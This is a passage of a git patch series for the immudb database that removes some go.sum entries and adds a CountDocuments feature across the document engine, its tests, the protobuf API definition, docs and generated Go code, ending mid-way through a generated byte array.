-google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= -google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= -google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= -google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -2002,10 +862,6 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -2013,7 +869,6 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -2032,7 +887,6 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -2043,43 +897,6 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= -lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= -modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= -modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= -modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= -modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= -modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= -modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= -modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= -modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= -modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= -modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= -modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= -modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= -modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= -modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= -modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From 83ce6500b0740737fb8f2d8f17cc34d2a55125bb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 20:58:52 -0300 Subject: [PATCH 0620/1062] feat(embedded/document): count documents Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 46 ++++++++++++++++++++++++++++++++ embedded/document/engine_test.go | 36 +++++++++++++++++++++++++ embedded/sql/stmt.go | 8 ++++++ 3 files changed, 90 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 6eeb71ae58..48c517ee2b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -762,6 +762,52 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs return newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil } +func (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, offset int64) (int64, error) { + if query == nil { + return 0, ErrIllegalArguments + } + + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return 0, mayTranslateError(err) + } + + defer sqlTx.Cancel() + + table, err := getTableForCollection(sqlTx, query.CollectionName) + if err != nil { + return 0, err + } + + queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) + if err != nil { + return 0, err + } + + op := sql.NewSelectStmt( + []sql.Selector{sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}, + query.CollectionName, + queryCondition, + generateSQLOrderByClauses(table, query.OrderBy), + sql.NewInteger(int64(query.Limit)), + sql.NewInteger(offset), + ) + + r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) + if err != nil { + return 0, err + } + + defer r.Close() + + row, err := r.Read(ctx) + if err != nil { + return 0, err + } + + return row.ValuesByPosition[0].RawValue().(int64), nil +} + func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, encodedDoc *EncodedDocument, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2dc61617ee..c63dd40e8a 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -177,6 +177,10 @@ func TestGetDocument(t *testing.T) { _, err = reader.Read(ctx) require.ErrorIs(t, err, ErrNoMoreDocuments) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 1, count) } func TestDocumentAudit(t *testing.T) { @@ -310,6 +314,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 9) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 9, count) }) t.Run("test query with < operator", func(t *testing.T) { @@ -335,6 +343,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 9) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 9, count) }) t.Run("test query with <= operator", func(t *testing.T) { @@ -360,6 +372,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 9) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 9, count) }) t.Run("test query with > operator", func(t *testing.T) { @@ -385,6 +401,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 5) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 5, count) }) t.Run("test query with >= operator", func(t *testing.T) { @@ -410,6 +430,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 1) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 1, count) }) t.Run("test group query with != operator", func(t *testing.T) { @@ -440,6 +464,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 8) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 8, count) }) t.Run("test group query with < operator", func(t *testing.T) { @@ -465,6 +493,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 4) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 4, count) }) t.Run("test group query with > operator", func(t *testing.T) { @@ -495,6 +527,10 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 5) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 5, count) }) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index eeb900fa7f..a68706d1be 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2839,6 +2839,14 @@ type AggColSelector struct { as string } +func NewAggColSelector(aggFn AggregateFn, table, col string) *AggColSelector { + return &AggColSelector{ + aggFn: aggFn, + table: table, + col: col, + } +} + func EncodeSelector(aggFn, table, col string) string { return aggFn + "(" + table + "." + col + ")" } From 1ccdddd55915056147deec27da1833a51baa2454 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 20:59:09 -0300 Subject: [PATCH 0621/1062] feat(pkg/api): count documents endpoint Signed-off-by: Jeronimo Irazabal --- pkg/api/proto/documents.proto | 34 ++ pkg/api/protomodel/docs.md | 33 ++ pkg/api/protomodel/documents.pb.go | 679 ++++++++++++++---------- pkg/api/protomodel/documents.pb.gw.go | 117 ++++ pkg/api/protomodel/documents_grpc.pb.go | 36 ++ pkg/auth/permissions.go | 2 + pkg/database/document_database.go | 18 + pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 16 + 9 files changed, 671 insertions(+), 268 deletions(-) diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index df7ae84732..aba78b2c98 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -427,6 +427,30 @@ message DocumentMetadata { bool deleted = 1; } +message CountDocumentsRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "query" + ] + } + }; + + Query query = 1; +} + +message CountDocumentsResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "count" + ] + } + }; + + int64 count = 1; +} + message AuditDocumentRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { @@ -613,6 +637,16 @@ service DocumentService { }; } + rpc CountDocuments(CountDocumentsRequest) returns (CountDocumentsResponse) { + option (google.api.http) = { + post: "/collection/{query.collectionName}/documents/count" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; + } + rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) { option (google.api.http) = { post: "/collection/{collectionName}/document/{documentId}/audit" diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 1d9e25aa55..70d2163a4c 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -17,6 +17,8 @@ - [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) - [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) - [Collection](#immudb.model.Collection) + - [CountDocumentsRequest](#immudb.model.CountDocumentsRequest) + - [CountDocumentsResponse](#immudb.model.CountDocumentsResponse) - [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) - [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) - [CreateIndexRequest](#immudb.model.CreateIndexRequest) @@ -221,6 +223,36 @@ + + +### CountDocumentsRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| query | [Query](#immudb.model.Query) | | | + + + + + + + + +### CountDocumentsResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| count | [int64](#int64) | | | + + + + + + ### CreateCollectionRequest @@ -756,6 +788,7 @@ | ReplaceDocuments | [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) | [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) | | | DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) | | | SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) | | +| CountDocuments | [CountDocumentsRequest](#immudb.model.CountDocumentsRequest) | [CountDocumentsResponse](#immudb.model.CountDocumentsResponse) | | | AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) | | | ProofDocument | [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) | [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 183710cdde..9120d3cb88 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1789,6 +1789,100 @@ func (x *DocumentMetadata) GetDeleted() bool { return false } +type CountDocumentsRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` +} + +func (x *CountDocumentsRequest) Reset() { + *x = CountDocumentsRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[31] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CountDocumentsRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CountDocumentsRequest) ProtoMessage() {} + +func (x *CountDocumentsRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[31] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CountDocumentsRequest.ProtoReflect.Descriptor instead. +func (*CountDocumentsRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{31} +} + +func (x *CountDocumentsRequest) GetQuery() *Query { + if x != nil { + return x.Query + } + return nil +} + +type CountDocumentsResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Count int64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"` +} + +func (x *CountDocumentsResponse) Reset() { + *x = CountDocumentsResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[32] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CountDocumentsResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CountDocumentsResponse) ProtoMessage() {} + +func (x *CountDocumentsResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[32] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CountDocumentsResponse.ProtoReflect.Descriptor instead. +func (*CountDocumentsResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{32} +} + +func (x *CountDocumentsResponse) GetCount() int64 { + if x != nil { + return x.Count + } + return 0 +} + type AuditDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1804,7 +1898,7 @@ type AuditDocumentRequest struct { func (x *AuditDocumentRequest) Reset() { *x = AuditDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1817,7 +1911,7 @@ func (x *AuditDocumentRequest) String() string { func (*AuditDocumentRequest) ProtoMessage() {} func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1830,7 +1924,7 @@ func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead. func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} + return file_documents_proto_rawDescGZIP(), []int{33} } func (x *AuditDocumentRequest) GetCollectionName() string { @@ -1879,7 +1973,7 @@ type AuditDocumentResponse struct { func (x *AuditDocumentResponse) Reset() { *x = AuditDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1892,7 +1986,7 @@ func (x *AuditDocumentResponse) String() string { func (*AuditDocumentResponse) ProtoMessage() {} func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1905,7 +1999,7 @@ func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead. func (*AuditDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} + return file_documents_proto_rawDescGZIP(), []int{34} } func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { @@ -1929,7 +2023,7 @@ type ProofDocumentRequest struct { func (x *ProofDocumentRequest) Reset() { *x = ProofDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1942,7 +2036,7 @@ func (x *ProofDocumentRequest) String() string { func (*ProofDocumentRequest) ProtoMessage() {} func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1955,7 +2049,7 @@ func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead. func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} + return file_documents_proto_rawDescGZIP(), []int{35} } func (x *ProofDocumentRequest) GetCollectionName() string { @@ -2001,7 +2095,7 @@ type ProofDocumentResponse struct { func (x *ProofDocumentResponse) Reset() { *x = ProofDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2014,7 +2108,7 @@ func (x *ProofDocumentResponse) String() string { func (*ProofDocumentResponse) ProtoMessage() {} func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2027,7 +2121,7 @@ func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead. func (*ProofDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} + return file_documents_proto_rawDescGZIP(), []int{36} } func (x *ProofDocumentResponse) GetDatabase() string { @@ -2300,217 +2394,237 @@ var file_documents_proto_rawDesc = []byte{ 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, 0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, - 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, - 